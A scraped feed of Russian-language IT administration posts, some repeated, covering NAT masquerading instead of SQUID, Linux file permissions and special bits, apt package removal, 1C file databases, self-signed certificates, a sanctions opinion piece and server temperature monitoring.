Как настроить выход в интернет через Linux?
Такой вопрос задал один из читателей в комментариях под статьей про базовую установку ОС для сервера.
У нас есть статьи на эту тему, они хоть и довольно старые, но будут работать и сегодня, хотя в современных системах некоторые вещи можно сделать и более изящно.
Но есть одно но, большинство из них предусматривает также настройку кеширующего прокси-сервера SQUID.
На наш взгляд сегодня это абсолютно избыточно, во всяком случае для рядовых коммерческих организаций.
Большинству будет достаточно включить форвардинг пакетов в ядре и настроить SNAT или маскарадинг.
Для этого в /etc/sysctl.conf добавьте:
Подробнее про все это можно прочитать в нашей статье: Основы iptables для начинающих. Часть 4. Таблица nat - типовые сценарии использования
А теперь о том, что же не так со SQUID и почему он сегодня вам, скорее всего, не нужен.
Когда-то давно, когда деревья были большими, а интернет дорогим и медленным SQUID позволят решать эту проблему средством кеширования. Т.е. если у вас один пользователь посетил условный сайт, то все следующие пользователи могут не скачивать с него заново статическое содержимое, а получить его из кеша-прокси сервера.
Это позволило значительно ускорить загрузку сайтов у пользователей и снизить нагрузку на канал.
Вторая задача, которую эффективно решал SQUID - это был контроль доступа: черные и белые списки, контентный фильтр, фильтр по MIME и т.д.
Третья - контроль и отчетность, анализируя логи можно всегда было сказать кто выкачал весь трафик или на какие сайты он ушел.
Но все течет, все меняется. На смену HTTP поголовно пришел HTTPS и выяснилось, что SQUID стал практически бесполезен.
Так как каждый пользователь теперь имеет индивидуальный зашифрованный уникальным одноразовым ключом канал браузер-сайт, то кешировать стало нечего.
Да и в эпоху широкополосного интернета бывает быстрее скачать статику заново, чем искать ее в кеше, особенно если он на тарахтящем HDD.
Фильтровать тоже стало нечего. Трафик закрыт. Да мы можем вскрыть его через SSL-Bump - но это фактическая атака человек посередине и резко снижает безопасность сети.
Если просто вскрывать заголовки и фильтровать по домену назначения, то это становится чудовищно неэффективно по вычислительным затратам. И зачем заниматься расшифровкой, если все тоже самое можно сделать на уровне DNS?
Есть даже специализированные решения, мы подробно рассматривали одно из них в статье: Создаем собственный фильтрующий DNS-сервер на базе Pi-hole
Статистика потребленного трафика? А кого она сейчас волнует, сегодня может стать вопрос - кто грузит канал, но не вопрос - кто скачал сколько гигабайт.
Ну а при желании понять кто-куда лазил всегда можно снять статистику с лога DNS.
Таким образом мы не видим сегодня причин использовать прокси, все прекрасно решается и без него.
Но просто так сдавать свои позиции SQUID пока не намерен, но это уже нишевые применения. А это уже совсем другая история.
Такой вопрос задал один из читателей в комментариях под статьей про базовую установку ОС для сервера.
У нас есть статьи на эту тему, они хоть и довольно старые, но будут работать и сегодня, хотя в современных системах некоторые вещи можно сделать и более изящно.
Но есть одно но, большинство из них предусматривает также настройку кеширующего прокси-сервера SQUID.
На наш взгляд сегодня это абсолютно избыточно, во всяком случае для рядовых коммерческих организаций.
Большинству будет достаточно включить форвардинг пакетов в ядре и настроить SNAT или маскарадинг.
Для этого в /etc/sysctl.conf добавьте:
net.ipv4.ip_forward = 1
А в таблицу nat добавить правило:iptables -t nat -A POSTROUTING -o ens33 -s 192.168.100.0/24 -j MASQUERADE
Где ens33 - интерфейс выхода, а 192.168.100.0/24 - диапазон локальной сети.Подробнее про все это можно прочитать в нашей статье: Основы iptables для начинающих. Часть 4. Таблица nat - типовые сценарии использования
А теперь о том, что же не так со SQUID и почему он сегодня вам, скорее всего, не нужен.
Когда-то давно, когда деревья были большими, а интернет дорогим и медленным SQUID позволят решать эту проблему средством кеширования. Т.е. если у вас один пользователь посетил условный сайт, то все следующие пользователи могут не скачивать с него заново статическое содержимое, а получить его из кеша-прокси сервера.
Это позволило значительно ускорить загрузку сайтов у пользователей и снизить нагрузку на канал.
Вторая задача, которую эффективно решал SQUID - это был контроль доступа: черные и белые списки, контентный фильтр, фильтр по MIME и т.д.
Третья - контроль и отчетность, анализируя логи можно всегда было сказать кто выкачал весь трафик или на какие сайты он ушел.
Но все течет, все меняется. На смену HTTP поголовно пришел HTTPS и выяснилось, что SQUID стал практически бесполезен.
Так как каждый пользователь теперь имеет индивидуальный зашифрованный уникальным одноразовым ключом канал браузер-сайт, то кешировать стало нечего.
Да и в эпоху широкополосного интернета бывает быстрее скачать статику заново, чем искать ее в кеше, особенно если он на тарахтящем HDD.
Фильтровать тоже стало нечего. Трафик закрыт. Да мы можем вскрыть его через SSL-Bump - но это фактическая атака человек посередине и резко снижает безопасность сети.
Если просто вскрывать заголовки и фильтровать по домену назначения, то это становится чудовищно неэффективно по вычислительным затратам. И зачем заниматься расшифровкой, если все тоже самое можно сделать на уровне DNS?
Есть даже специализированные решения, мы подробно рассматривали одно из них в статье: Создаем собственный фильтрующий DNS-сервер на базе Pi-hole
Статистика потребленного трафика? А кого она сейчас волнует, сегодня может стать вопрос - кто грузит канал, но не вопрос - кто скачал сколько гигабайт.
Ну а при желании понять кто-куда лазил всегда можно снять статистику с лога DNS.
Таким образом мы не видим сегодня причин использовать прокси, все прекрасно решается и без него.
Но просто так сдавать свои позиции SQUID пока не намерен, но это уже нишевые применения. А это уже совсем другая история.
👍27❤3
Linux – права файловой системы
Все знают, что Linux унаследовал и использует классическую систему прав UNIX, которая строится вокруг трех субъектов: владельца, группового владельца и остальных, каждый из которых имеет право на чтение – r, запись – w и исполнение – х.
Записываются права посимвольно слева на право: владелец – группа – прочие, для каждого указываются доступные права – rwx, отсутствующее право заменяется прочерком, например:
Для системы это набор трехбитовых записей, где каждый бит соответствует определенному праву, если право доступно – бит устанавливается в единицу.
Т.е. приведенный набор прав можно записать как:
Так чтобы понять, что значит тот или иной набор прав в цифрах – переводим его в двоичную форму и заменяем биты действиями:
Теперь перейдем от файлов к директориям, директория — это такой особый тип файла, который содержит записи о файлах, содержащихся в этой директории.
И права тут значат немного иное: r - право получения имен файлов в каталоге (но не их атрибутов), x - право получения доступа к файлам и их атрибутам, w - право манипулировать именами файлов, т.е. создавать, удалять, переименовывать.
Минимально разумный набор прав к директории r-x, полный rwx.
Поэтому обычно в Linux используются следующие права по умолчанию: 644 для файлов и 755 для директорий.
Т.е. владелец имеет права на запись и чтение файла, группа и остальные – только чтение, а также полный доступ к директории для владельца и только чтение для остальных.
Право на исполнение файлов по умолчанию не устанавливается.
Это – минимальный набор знаний, которые вы должны иметь о правах доступа к файловой системе Linux.
Но не все знают, что на самом деле права доступа это не три, а четыре октета, просто первый ноль часто пропускается и правильно будет не 777, а 0777. Что интересного содержит первый октет?
Там также трехбитовая запись, каждый бит в которой (слева-направо) означает:
При установке данного бита удалить файлы в каталоге может только их владелец или суперпользователь, даже если остальные имеют полные права.
SGID – 010 или 2 - устанавливает группу владельца каталога для каждого создаваемого в нем файла, по умолчанию файлы создаются с группой создавшего его пользователя.
SUID – 100 или 4 – право запускать файл с правами его владельца, а не пользователя который его запустил. Широко используется для ряда системных утилит, таких как passwd. Ведь пользователь должен иметь право изменить сам себе пароль, но для этого необходимы права root, что легко решается через установку SUID.
В буквенной записи SUID и SGID заменяют x на s в правах пользователя или группы, установленный sticky-бит заменяет x на t в правах для остальных.
В восьмеричном виде записывается первым октетом. Например, комбинация stiky + SGID + стандартные права 755 может быть записана так:
Более подробно рекомендуем прочитать в наших статьях:
🔹 Linux - начинающим. Работаем с файловой системой. Теория
🔹 Linux - начинающим. Работаем с файловой системой. Практика
Все знают, что Linux унаследовал и использует классическую систему прав UNIX, которая строится вокруг трех субъектов: владельца, группового владельца и остальных, каждый из которых имеет право на чтение – r, запись – w и исполнение – х.
Записываются права посимвольно слева на право: владелец – группа – прочие, для каждого указываются доступные права – rwx, отсутствующее право заменяется прочерком, например:
rw- r—- r—-
Обозначает право на запись и чтение для владельца и только чтение для группы и прочих.Для системы это набор трехбитовых записей, где каждый бит соответствует определенному праву, если право доступно – бит устанавливается в единицу.
Т.е. приведенный набор прав можно записать как:
110 100 100
Или в более привычной восьмеричной форме:644
Да, несмотря на то что запись ведется привычными десятичными цифрами система указания прав использует восьмеричную систему.Так чтобы понять, что значит тот или иной набор прав в цифрах – переводим его в двоичную форму и заменяем биты действиями:
755 -> 111 101 101 -> rwx r-x r-x
Т.е. полные права у владельца и чтение и исполнение для остальных.Теперь перейдем от файлов к директориям, директория — это такой особый тип файла, который содержит записи о файлах, содержащихся в этой директории.
И права тут значат немного иное: r - право получения имен файлов в каталоге (но не их атрибутов), x - право получения доступа к файлам и их атрибутам, w - право манипулировать именами файлов, т.е. создавать, удалять, переименовывать.
Минимально разумный набор прав к директории r-x, полный rwx.
Поэтому обычно в Linux используются следующие права по умолчанию: 644 для файлов и 755 для директорий.
Т.е. владелец имеет права на запись и чтение файла, группа и остальные – только чтение, а также полный доступ к директории для владельца и только чтение для остальных.
Право на исполнение файлов по умолчанию не устанавливается.
Это – минимальный набор знаний, которые вы должны иметь о правах доступа к файловой системе Linux.
Но не все знают, что на самом деле права доступа это не три, а четыре октета, просто первый ноль часто пропускается и правильно будет не 777, а 0777. Что интересного содержит первый октет?
Там также трехбитовая запись, каждый бит в которой (слева-направо) означает:
SUID – SGID – stiky
sticky-бит – он же 001 или 1 – может быть установлен только для каталога, его установка для файлов игнорируется. В переводе stiky означает – липкий, что полностью соответствует его работе. При установке данного бита удалить файлы в каталоге может только их владелец или суперпользователь, даже если остальные имеют полные права.
SGID – 010 или 2 - устанавливает группу владельца каталога для каждого создаваемого в нем файла, по умолчанию файлы создаются с группой создавшего его пользователя.
SUID – 100 или 4 – право запускать файл с правами его владельца, а не пользователя который его запустил. Широко используется для ряда системных утилит, таких как passwd. Ведь пользователь должен иметь право изменить сам себе пароль, но для этого необходимы права root, что легко решается через установку SUID.
В буквенной записи SUID и SGID заменяют x на s в правах пользователя или группы, установленный sticky-бит заменяет x на t в правах для остальных.
В восьмеричном виде записывается первым октетом. Например, комбинация stiky + SGID + стандартные права 755 может быть записана так:
011 111 101 101 -> 3755 –> rwx r-s r-t
Указанная комбинация часто используется на файловых серверах, когда нужно нарезать права на основе дополнительных групп, а также запретить пользователям удалять чужие файлы.Более подробно рекомендуем прочитать в наших статьях:
🔹 Linux - начинающим. Работаем с файловой системой. Теория
🔹 Linux - начинающим. Работаем с файловой системой. Практика
👍43❤4
Некоторые особенности переустановки и удаления пакетов в Apt
Apt – мощный инструмент управления пакетами в Debian и основанных на него дистрибутивах, но он имеет свои особенности, которые следует знать и понимать.
Все знают, что для установки пакета используется:
А для удаления:
Но у данной команды есть своя особенность, она удаляет только сам пакет, но оставляет связанные с ним настройки и данные. Это может быть неудобно, если с пакетом связаны какие-то крупные объемы данных.
Чтобы удалить все, воспользуйтесь другой командой:
Но перед этим убедитесь, что все необходимые данные вы сохранили, потому что она удалит все. Так, если применить эту команду к установленному экземпляру СУБД, то будут удалены в том числе все созданные базы данных.
При этом бывают случаи, когда вы накуролесили в настройках пакета и хотите вернуть все к установкам по умолчанию. При этом простое удаление вам не поможет, а полное вы не хотите использовать, потому что пакет связан с пользовательскими данными.
Для этого есть специальная команда:
Которая приведет пакет в изначальный вид, но не затронет при этом связанные с ним данные.
Apt – мощный инструмент управления пакетами в Debian и основанных на него дистрибутивах, но он имеет свои особенности, которые следует знать и понимать.
Все знают, что для установки пакета используется:
apt install package
А для удаления:
apt remove package
Но у данной команды есть своя особенность, она удаляет только сам пакет, но оставляет связанные с ним настройки и данные. Это может быть неудобно, если с пакетом связаны какие-то крупные объемы данных.
Чтобы удалить все, воспользуйтесь другой командой:
apt purge package
Но перед этим убедитесь, что все необходимые данные вы сохранили, потому что она удалит все. Так, если применить эту команду к установленному экземпляру СУБД, то будут удалены в том числе все созданные базы данных.
При этом бывают случаи, когда вы накуролесили в настройках пакета и хотите вернуть все к установкам по умолчанию. При этом простое удаление вам не поможет, а полное вы не хотите использовать, потому что пакет связан с пользовательскими данными.
Для этого есть специальная команда:
apt reinstall package
Которая приведет пакет в изначальный вид, но не затронет при этом связанные с ним данные.
👍57❤5🤷♂1🥱1👨💻1
Использование отчета о состоянии батареи в Windows
Сведения о батарее являются важными для любого владельца ноутбука или иного мобильного устройства под управлением Windows.
Важно не только знать текущий ресурс батареи, но и понимать каким образом он расходуется. Ведь часто виновником малой работы в автономном режиме является вовсе не аккумулятор, а приложения.
Обычно для этого используются сторонние утилиты, но в современных выпусках Windows есть встроенные удобные инструменты, о которых мы сегодня расскажем.
https://interface31.ru/tech_it/2024/07/ispol-zovanie-otcheta-o-sostoyanii-batarei-v-windows.html
Сведения о батарее являются важными для любого владельца ноутбука или иного мобильного устройства под управлением Windows.
Важно не только знать текущий ресурс батареи, но и понимать каким образом он расходуется. Ведь часто виновником малой работы в автономном режиме является вовсе не аккумулятор, а приложения.
Обычно для этого используются сторонние утилиты, но в современных выпусках Windows есть встроенные удобные инструменты, о которых мы сегодня расскажем.
https://interface31.ru/tech_it/2024/07/ispol-zovanie-otcheta-o-sostoyanii-batarei-v-windows.html
👍17
Файловая база 1С:Предприятия – проблемы и решения
Последнее время начали поступать вопросы по поводу файловой базы 1С:Предприятие, но в комментариях трудно дать развернутый ответ, поэтому мы решили написать эту заметку.
Как мы знаем, в основе современной архитектуры 1С лежит так называемая «трехзвенка»: клиент – сервер – СУБД.
Каждый из этих компонентов занят своим делом: клиент – обработкой данных, вносимых пользователем, сервер – запросами к БД и обработкой информации, запрошенной из нее клиентом или, наоборот, записываемой, СУБД хранит всю эту информацию.
Файловая база данных представляет собой файл специального формата собственной базы данных 1С:Предприятие. Он называется 1Cv8.1CD и представляет основную ценность, несмотря на то что папка с базой содержит иные файлы и каталоги только он содержит полезные данные и для копирования базы достаточно перенести только этот файл.
Для резервного копирования мы также должны скопировать именно этот файл, а не дамп базы в формате DT. Еще раз обратим ваше внимание, что сам вендор в официальной документации предупреждает, что DT не предназначен для резервного копирования.
Но вернемся к нашей файловой базе, как мы уже сказали – это файл БД собственного формата, который играет роль СУБД в трехзвенной схеме. Остальные два звена обеспечивает платформа на рабочей станции пользователя. Там запускается серверный и клиентский экземпляр, которые и выполняют соответствующий код.
Если все эти три звена расположены на одном компьютере, то работает такая база достаточно неплохо, по крайней мере до тех пор, пока не разрастется по размерам.
В былые времена пределом размера файловой БД было примерно около 4 ГБ, сейчас, с приходом недорогих и быстрых NVMe этот предел сильно вырос и в файловом варианте неплохо ворочаются базы и по 10 – 20 ГБ.
Но вся эта благодать быстро исчезает при необходимости работать с базой более чем одному человеку.
Обычный сценарий – это сетевой доступ к информационной базе, когда файл базы выкладывается на общий ресурс и к нему подключаются по сети клиенты.
При этом практически вся информация гоняется по сети, причем в достаточно значительных объемах. Это ведет к долгой загрузке базы и замедлении операций, требующих доступ к данным, которых нет в локальном кеше.
Но беда не в этом, а во взаимных блокировках, которые пользователи накладывают на базу данных при работе.
Именно это, а не сетевые задержки становится главной проблемой многопользовательской работы с файловой базой данных 1С:Предприятие.
Поэтому бесполезно пытаться делать какие-то настройки на уровне сети или сетевого хранилища, так как проблема находится в другом месте.
Критическим количеством одновременных пользователей для файловой базы является в зависимости от характера работы 3-5 человек (иногда больше).
Что делать? Вариантов тут не много. Самый простой – веб-сервер, в этом случае серверная часть будет работать на ПК с веб-сервером, а клиентская на тонком клиенте. При использовании веб-клиента весь код будет исполняться на веб-сервере.
Следует помнить, что веб-клиент с файловой базой однопоточен, но это по факту меньшее зло, при небольшом количестве пользователей однопоточность не становится узким горлышком, но при этом снимается проблема блокировок.
Поэтому переход на веб-сервер с файловой базой в большинстве случаев ускоряет работу и рекомендуется к применению даже в небольших сетях.
Второй вариант – переход на клиент-серверную технологию. Да, это довольно дорого, но если вам достаточно 5 сеансов, то можно приобрести Сервер-МИНИ за очень небольшие деньги (19 300 руб. на настоящий момент).
Также есть небольшая хитрость, если у вас несколько баз с небольшим количеством пользователей, то можно купить и развернуть несколько экземпляров Сервера-МИНИ, что будет дешевле покупки полноценного сервера 1С:Предприятие за 115 200 руб.
Последнее время начали поступать вопросы по поводу файловой базы 1С:Предприятие, но в комментариях трудно дать развернутый ответ, поэтому мы решили написать эту заметку.
Как мы знаем, в основе современной архитектуры 1С лежит так называемая «трехзвенка»: клиент – сервер – СУБД.
Каждый из этих компонентов занят своим делом: клиент – обработкой данных, вносимых пользователем, сервер – запросами к БД и обработкой информации, запрошенной из нее клиентом или, наоборот, записываемой, СУБД хранит всю эту информацию.
Файловая база данных представляет собой файл специального формата собственной базы данных 1С:Предприятие. Он называется 1Cv8.1CD и представляет основную ценность, несмотря на то что папка с базой содержит иные файлы и каталоги только он содержит полезные данные и для копирования базы достаточно перенести только этот файл.
Для резервного копирования мы также должны скопировать именно этот файл, а не дамп базы в формате DT. Еще раз обратим ваше внимание, что сам вендор в официальной документации предупреждает, что DT не предназначен для резервного копирования.
Но вернемся к нашей файловой базе, как мы уже сказали – это файл БД собственного формата, который играет роль СУБД в трехзвенной схеме. Остальные два звена обеспечивает платформа на рабочей станции пользователя. Там запускается серверный и клиентский экземпляр, которые и выполняют соответствующий код.
Если все эти три звена расположены на одном компьютере, то работает такая база достаточно неплохо, по крайней мере до тех пор, пока не разрастется по размерам.
В былые времена пределом размера файловой БД было примерно около 4 ГБ, сейчас, с приходом недорогих и быстрых NVMe этот предел сильно вырос и в файловом варианте неплохо ворочаются базы и по 10 – 20 ГБ.
Но вся эта благодать быстро исчезает при необходимости работать с базой более чем одному человеку.
Обычный сценарий – это сетевой доступ к информационной базе, когда файл базы выкладывается на общий ресурс и к нему подключаются по сети клиенты.
При этом практически вся информация гоняется по сети, причем в достаточно значительных объемах. Это ведет к долгой загрузке базы и замедлении операций, требующих доступ к данным, которых нет в локальном кеше.
Но беда не в этом, а во взаимных блокировках, которые пользователи накладывают на базу данных при работе.
Именно это, а не сетевые задержки становится главной проблемой многопользовательской работы с файловой базой данных 1С:Предприятие.
Поэтому бесполезно пытаться делать какие-то настройки на уровне сети или сетевого хранилища, так как проблема находится в другом месте.
Критическим количеством одновременных пользователей для файловой базы является в зависимости от характера работы 3-5 человек (иногда больше).
Что делать? Вариантов тут не много. Самый простой – веб-сервер, в этом случае серверная часть будет работать на ПК с веб-сервером, а клиентская на тонком клиенте. При использовании веб-клиента весь код будет исполняться на веб-сервере.
Следует помнить, что веб-клиент с файловой базой однопоточен, но это по факту меньшее зло, при небольшом количестве пользователей однопоточность не становится узким горлышком, но при этом снимается проблема блокировок.
Поэтому переход на веб-сервер с файловой базой в большинстве случаев ускоряет работу и рекомендуется к применению даже в небольших сетях.
Второй вариант – переход на клиент-серверную технологию. Да, это довольно дорого, но если вам достаточно 5 сеансов, то можно приобрести Сервер-МИНИ за очень небольшие деньги (19 300 руб. на настоящий момент).
Также есть небольшая хитрость, если у вас несколько баз с небольшим количеством пользователей, то можно купить и развернуть несколько экземпляров Сервера-МИНИ, что будет дешевле покупки полноценного сервера 1С:Предприятие за 115 200 руб.
👍34❤7🥱1
Самозаверенные сертификаты. Мифы и реальность.
Самозаверенные, они же самозаверяющие или самоподписанные сертификаты являются предметом многих расхожих мифов. Основной их смысл сводится к тому, что такие сертификаты жутко небезопасны и выставить наружу ресурс с таким сертификатом – это все равно, что без сертификата вообще.
Но это мнение не имеет под собой никакого основания, так как сертификат никаким образом не влияет на набор используемых шифров и криптографических алгоритмов. За их использование полностью отвечают настройки защищаемого ПО, чаще всего веб-сервера.
Кроме того, следует помнить, что выбор шифра – процесс обоюдный и не даром называется согласованием. В процессе установления соединения клиент получает от сервера список поддерживаемых шифров и выбирает из них самый стойких из тех, которые поддерживает сам.
Если клиент не поддерживает ни один из предложенных шифров, то соединение установить не удастся. Но и наоборот, существуют специальные атаки на понижение шифрования, цель которых согласовать старый и нестойкий шифр. Поэтому предлагаемый набор шифров — это всегда компромисс между совместимостью и безопасностью.
Так мы можем иметь «настоящий» сертификат и слабый набор шифров ради обеспечения совместимости с устаревшими клиентами или, наоборот, самоподписанный сертификат с небольшим набором самых современных криптографических алгоритмов. И вторая система будет обеспечивать гораздо высокий уровень безопасности чем первая.
Так чем же плох самоподписанный сертификат? Тем, что с ним невозможно установить отношения доверия, которые являются ключевыми во всей современной криптографии. Проше говоря, устанавливая защищенное соединение мы хотим быть уверены, что сертификат действительно принадлежит указанному владельцу, а не третьему лицу.
Чтобы помочь нам в этом вопросе существуют центры сертификации, авторитет которых не подлежит сомнению и если сертификат подписан одним из этих CA, то доверие к центру сертификации распространяется на сертификат, и мы тоже можем ему доверять.
Для проверки доверия все центры сертификации выпускают собственные корневые сертификаты, которые позволяют убедиться, что сертификат выпущен именно этим удостоверяющим центром.
Корневые сертификаты известных издателей распространяются вместе с ОС и хранятся в особом системном хранилище, исключающем их случайную подмену.
Здесь существует один парадокс. Корневой сертификат удостоверяющего центра не является секретным, но доступ к нему в системе должен быть ограничен, так как в противном случае возможна атака типа человек посередине, и вы автоматически примете сертификат, подписанный злоумышленником.
По этой же причине требуется крайне внимательно относиться к сертификатам, которые вы устанавливаете в качестве доверенных корневых центров сертификации, так как после его установки вы будете автоматически доверять всем сертификатам выпущенным этим центром.
Также не следует путать самозаверенные сертификаты с сертификатами частных центров сертификации, например, корпоративным CA. С последними можно легко установить доверительные отношения (если вы действительно им доверяете) просто установив в систему нужный корневой сертификат.
Самозаверенный сертификат не имеет центра сертификации и доверительные отношения с ним установить не удастся, все что мы можем – это добавить его в исключения, чтобы не получать уведомлений системы безопасности.
Но это нужно сделать на каждой системе, при этом обязательно проверив тот ли это сертификат по отпечатку подписи. Но это способен сделать далеко не каждый пользователь и на практике даже добавления в исключения часто не происходит. Чаше всего предупреждение безопасности просто игнорируется, что является крайне плохой практикой, так как вам спокойно могут подменить сертификат, а вы даже не заметите.
Подведем итог: самозаверенный сертификат с точки зрения шифрования столь же безопасен, как и любой другой. Основная его проблема – это невозможность установить доверительные отношения и однозначно доверять ему без дополнительных проверок.
Самозаверенные, они же самозаверяющие или самоподписанные сертификаты являются предметом многих расхожих мифов. Основной их смысл сводится к тому, что такие сертификаты жутко небезопасны и выставить наружу ресурс с таким сертификатом – это все равно, что без сертификата вообще.
Но это мнение не имеет под собой никакого основания, так как сертификат никаким образом не влияет на набор используемых шифров и криптографических алгоритмов. За их использование полностью отвечают настройки защищаемого ПО, чаще всего веб-сервера.
Кроме того, следует помнить, что выбор шифра – процесс обоюдный и не даром называется согласованием. В процессе установления соединения клиент получает от сервера список поддерживаемых шифров и выбирает из них самый стойких из тех, которые поддерживает сам.
Если клиент не поддерживает ни один из предложенных шифров, то соединение установить не удастся. Но и наоборот, существуют специальные атаки на понижение шифрования, цель которых согласовать старый и нестойкий шифр. Поэтому предлагаемый набор шифров — это всегда компромисс между совместимостью и безопасностью.
Так мы можем иметь «настоящий» сертификат и слабый набор шифров ради обеспечения совместимости с устаревшими клиентами или, наоборот, самоподписанный сертификат с небольшим набором самых современных криптографических алгоритмов. И вторая система будет обеспечивать гораздо высокий уровень безопасности чем первая.
Так чем же плох самоподписанный сертификат? Тем, что с ним невозможно установить отношения доверия, которые являются ключевыми во всей современной криптографии. Проше говоря, устанавливая защищенное соединение мы хотим быть уверены, что сертификат действительно принадлежит указанному владельцу, а не третьему лицу.
Чтобы помочь нам в этом вопросе существуют центры сертификации, авторитет которых не подлежит сомнению и если сертификат подписан одним из этих CA, то доверие к центру сертификации распространяется на сертификат, и мы тоже можем ему доверять.
Для проверки доверия все центры сертификации выпускают собственные корневые сертификаты, которые позволяют убедиться, что сертификат выпущен именно этим удостоверяющим центром.
Корневые сертификаты известных издателей распространяются вместе с ОС и хранятся в особом системном хранилище, исключающем их случайную подмену.
Здесь существует один парадокс. Корневой сертификат удостоверяющего центра не является секретным, но доступ к нему в системе должен быть ограничен, так как в противном случае возможна атака типа человек посередине, и вы автоматически примете сертификат, подписанный злоумышленником.
По этой же причине требуется крайне внимательно относиться к сертификатам, которые вы устанавливаете в качестве доверенных корневых центров сертификации, так как после его установки вы будете автоматически доверять всем сертификатам выпущенным этим центром.
Также не следует путать самозаверенные сертификаты с сертификатами частных центров сертификации, например, корпоративным CA. С последними можно легко установить доверительные отношения (если вы действительно им доверяете) просто установив в систему нужный корневой сертификат.
Самозаверенный сертификат не имеет центра сертификации и доверительные отношения с ним установить не удастся, все что мы можем – это добавить его в исключения, чтобы не получать уведомлений системы безопасности.
Но это нужно сделать на каждой системе, при этом обязательно проверив тот ли это сертификат по отпечатку подписи. Но это способен сделать далеко не каждый пользователь и на практике даже добавления в исключения часто не происходит. Чаше всего предупреждение безопасности просто игнорируется, что является крайне плохой практикой, так как вам спокойно могут подменить сертификат, а вы даже не заметите.
Подведем итог: самозаверенный сертификат с точки зрения шифрования столь же безопасен, как и любой другой. Основная его проблема – это невозможность установить доверительные отношения и однозначно доверять ему без дополнительных проверок.
👍39🥱5❤2⚡1
Их нравы
Наткнулся на днях на одно интересное обсуждение в зарубежном интернете – как легально купить VPS в России или для России.
Если коротко, то правильный ответ – никак. Совсем, без оговорок. Не поможет даже приобретение такого сервера у зарубежной фирмы, которая имеет локацию оборудования в РФ.
Почему? Потому что перевод денежных средств хоть прямо, хоть опосредованно российским фирмам оценивается как нарушение санкций и является уголовно наказуемым правонарушением.
Да, сразу приводится оговорка, что вряд ли ФБР будет отслеживать все ваши платежи по 5$, но факт остается фактом и законопослушного американского гражданина это не радует.
После чего самое время вспомнить страшные стенания по поводу не менее страшного товарища майора. Который только и ждет… Ну продолжение вы сами знаете.
Так вот, этот самый товарищ майор, равно как и законодательство не запрещает гражданам РФ покупать сервера и прочие IT-активы зарубежом, хоть прямо, хоть опосредованно, равно как использовать их под всяко-разное, как одобряемое, так и не очень.
Единственное, что явно запрещено – это публично распространять информацию про три веселых буквы, да и за это окромя блокировки ресурса, сию информацию распространяющего, никаких иных санкций не предусмотрено.
Хотите три веселых буквы? Будет вам три веселых буквы. Хотите сайт «там»? Да заводите, никто не будет мешать. Ни у кого не возникнет ни одного вопроса.
Но это все злой товарищ майор. А там уголовно наказуемое деяние, но светлые эльфы. Не перепутайте.
Наткнулся на днях на одно интересное обсуждение в зарубежном интернете – как легально купить VPS в России или для России.
Если коротко, то правильный ответ – никак. Совсем, без оговорок. Не поможет даже приобретение такого сервера у зарубежной фирмы, которая имеет локацию оборудования в РФ.
Почему? Потому что перевод денежных средств хоть прямо, хоть опосредованно российским фирмам оценивается как нарушение санкций и является уголовно наказуемым правонарушением.
Да, сразу приводится оговорка, что вряд ли ФБР будет отслеживать все ваши платежи по 5$, но факт остается фактом и законопослушного американского гражданина это не радует.
После чего самое время вспомнить страшные стенания по поводу не менее страшного товарища майора. Который только и ждет… Ну продолжение вы сами знаете.
Так вот, этот самый товарищ майор, равно как и законодательство не запрещает гражданам РФ покупать сервера и прочие IT-активы зарубежом, хоть прямо, хоть опосредованно, равно как использовать их под всяко-разное, как одобряемое, так и не очень.
Единственное, что явно запрещено – это публично распространять информацию про три веселых буквы, да и за это окромя блокировки ресурса, сию информацию распространяющего, никаких иных санкций не предусмотрено.
Хотите три веселых буквы? Будет вам три веселых буквы. Хотите сайт «там»? Да заводите, никто не будет мешать. Ни у кого не возникнет ни одного вопроса.
Но это все злой товарищ майор. А там уголовно наказуемое деяние, но светлые эльфы. Не перепутайте.
💯37😁12🤮9🤡9👌8
Снова лето
Снова лето, снова приходят жаркие денечки и самое время проверить как настроен и выполняется контроль температуры. Задача это важная и подходить к ней надо ответственно.
Мы не раз и не два сталкивались со случаями, когда вовремя не выявленные и не устраненные проблемы с охлаждением приводили к серьезным негативным последствиям при неблагоприятном стечении обстоятельств.
Прежде всего следует контролировать температуру ключевых электронных компонентов: процессор, накопители, датчики материнской платы. Это первый и базовый уровень.
Но он не дает общего понимания того, что происходит с охлаждением вообще. Скажем мы зафиксировали рост температуры всех компонентов на несколько градусов от средней. Но и за окном стало жарче. Как понять нормальная ситуация или нет?
Для этого нужно контролировать еще температуру в серверном шкафу и серверной. В этом случае вы будете видеть не только температуру компонентов, но и температуру окружающей среды.
Так если температура стала расти в только в одном из шкафов – налицо проблемы с охлаждением этого шкафа. Если растет температура во всей серверной – то явно не справляется система вентиляции и охлаждения.
Своевременное выявление этих тенденций поможет заранее принять меры и избежать перехода ситуации в аварийную.
Кроме температур, по возможности, также стоит контролировать обороты вентиляторов, даже тех, которые не имеют регулировки. Если вентилятор остановился – то это однозначный сигнал тревоги.
Для управляемых вентиляторов следует отслеживать выход на повышенные или полные обороты, если это не сопровождается повышением нагрузки и/или внешней температуры, то явно имеются проблемы с системой охлаждения и она требует профилактики (продувка от пыли, замена термопасты).
Пренебрегать этим ни в коем случае не стоит, потому что работающая, хоть и на верхнем пределе система охлаждения не будет иметь запаса прочности и может не справиться со своими задачами в аварийной ситуации.
Снова лето, снова приходят жаркие денечки и самое время проверить как настроен и выполняется контроль температуры. Задача это важная и подходить к ней надо ответственно.
Мы не раз и не два сталкивались со случаями, когда вовремя не выявленные и не устраненные проблемы с охлаждением приводили к серьезным негативным последствиям при неблагоприятном стечении обстоятельств.
Прежде всего следует контролировать температуру ключевых электронных компонентов: процессор, накопители, датчики материнской платы. Это первый и базовый уровень.
Но он не дает общего понимания того, что происходит с охлаждением вообще. Скажем мы зафиксировали рост температуры всех компонентов на несколько градусов от средней. Но и за окном стало жарче. Как понять нормальная ситуация или нет?
Для этого нужно контролировать еще температуру в серверном шкафу и серверной. В этом случае вы будете видеть не только температуру компонентов, но и температуру окружающей среды.
Так если температура стала расти в только в одном из шкафов – налицо проблемы с охлаждением этого шкафа. Если растет температура во всей серверной – то явно не справляется система вентиляции и охлаждения.
Своевременное выявление этих тенденций поможет заранее принять меры и избежать перехода ситуации в аварийную.
Кроме температур, по возможности, также стоит контролировать обороты вентиляторов, даже тех, которые не имеют регулировки. Если вентилятор остановился – то это однозначный сигнал тревоги.
Для управляемых вентиляторов следует отслеживать выход на повышенные или полные обороты, если это не сопровождается повышением нагрузки и/или внешней температуры, то явно имеются проблемы с системой охлаждения и она требует профилактики (продувка от пыли, замена термопасты).
